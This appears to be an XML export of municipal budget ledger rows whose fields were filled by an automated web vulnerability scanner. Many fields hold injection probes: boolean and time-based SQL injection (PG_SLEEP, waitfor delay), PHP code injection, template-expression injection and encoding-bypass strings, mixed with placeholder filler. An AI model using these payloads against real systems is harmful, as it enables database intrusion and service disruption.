<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=26 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>-1 OR 5*5=25 -- </fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>19429915</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU'&lt;lHnv4&gt;</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>dfb__${98991*97996}__::.x</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>dfb[[${98991*97996}]]xca</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>bfg9463%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9463</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>bfgx5126%C0%BEz1%C0%BCz2a%90bcxhjl5126</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&lt;!--</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>1BF5S4X64X0</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1BBAI9M4SO0</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1Z8TF58LO0</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=25 or 'HvNNrwhU'='</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=26 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=26 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=26</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=25</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=26 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102XfQXtvtZ')) OR 263=(SELECT 263 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>";print(md5(31337));$a="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102PABcbA8V') OR 12=(SELECT 12 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1)) OR 902=(SELECT 902 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1) OR 906=(SELECT 906 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1 OR 616=(SELECT 616 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102PqcObULx'; waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1 waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1); waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102-1; waitfor delay '0:0:15' -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=26 or "tV8nJYIa"="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=25 or "tV8nJYIa"="</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1 OR 5*5=26 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select 198766*667891 from DUAL)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
